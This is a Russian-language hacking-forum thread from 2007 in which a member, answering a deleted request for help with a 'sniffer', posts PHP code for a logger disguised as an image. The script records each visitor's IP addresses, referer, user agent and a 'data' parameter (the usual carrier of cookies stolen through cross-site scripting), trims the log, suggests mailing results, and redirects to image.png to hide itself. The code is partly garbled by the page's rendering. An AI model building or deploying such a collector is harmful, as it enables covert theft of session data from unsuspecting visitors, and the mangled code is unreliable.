HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите со сниффером…
  #1  
Старый 31.12.2007, 21:37
g-warning
Участник форума
Регистрация: 28.12.2007
Сообщений: 103
Провел на форуме:
671441

Репутация: 50
По умолчанию Помогите со сниффером…

del

Последний раз редактировалось g-warning; 28.03.2009 в 16:10..
 
Ответить с цитированием

  #2  
Старый 31.12.2007, 21:47
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

1)
PHP код:
<?
  $log_file 
"log.txt"//файл лога
  
if (!file_exists($log_file)) { $fo fopen($log_file"w"); fclose($fo); }
  
$fmsg file($log_file);
  
$count_msg count($fmsg);
  for(
$i $count_msg$i >= ;$i--) echo $fmsg[$i];
?>
Это у тебя и будет вывод верх ногами

2)Функция mail() к твоим услугам. Всё просто до жути, поэтому не вижу смысла объяснять.

3)В файле картинки сделай вот так:
PHP код:
$log_file "log.txt";// Лог файл
  
$msg_count 30// количество записей
  
$fl file($msg_file);
  
$count_fl count($fl);
  if (
$count_fl >= $msg_count)
  {
    
$fw fopen($msg_file"w");
    for(
$i=1;$i<$msg_count;$i++) fwrite($fwtrim($fl[$i])."\r\n");
  }
# Длаее записываешь данные в лог 
 
Ответить с цитированием

  #3  
Старый 31.12.2007, 21:57
g-warning
Участник форума
Регистрация: 28.12.2007
Сообщений: 103
Провел на форуме:
671441

Репутация: 50
По умолчанию

del

Последний раз редактировалось g-warning; 28.03.2009 в 16:10..
 
Ответить с цитированием

  #4  
Старый 31.12.2007, 21:58
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

вот твой скрипт, я сделал.....может что-то неправильно натворил, прост я уже начинаю отмечать НГ
PHP код:
<?php

$date
=date("d/m/Y");
$time=date("H:i");
$day=date("D");  
$ip=getenv("REMOTE_ADDR"); 
$real_ip=getenv("HTTP_X_FORWARDED_FOR"); 
$unreal_ip=getenv("HTTP_CLIENT_IP");
$host=getenv("HTTP_HOST"); 
$referer=getenv("HTTP_REFERER"); 
$agent=getenv("HTTP_USER_AGENT");  
$param=$_GET['data']; 
$query=$_SERVER['QUERY_STRING']; 

$msg_file "log.txt";
  
$msg_count 30;
  
$fl file($msg_file);
  
$count_fl count($fl);
  if (
$count_fl >= $msg_count)
  {
    
$fw fopen($msg_file"w");
    for(
$i=1;$i<$msg_count;$i++) fwrite($fwtrim($fl[$i])."\r\n");
  }

$fp fopen($msg_file,"a"); 
fputs($fp,"[ $date ] [ $time ] [ $day ] [ $host ] [ $referer ] [ $ip ] [ $agent ] [ $real_ip ] [ $unreal_ip ] [ $param ]
$query ]
"
);
fclose($fp);
#Тут отправляешь письмо на мыло, писать не буду код, в лом
/* 
mail();
*/ 


header('Location: image.png'); 
?>
вывод данных я выше писал как сделать!

С наступающим!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите с вышкой. PomaH9991 Болталка 27 16.12.2007 23:13
Помогите пройти 7 левел Destroyer Antichat's Quest 6 31.12.2005 01:54



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ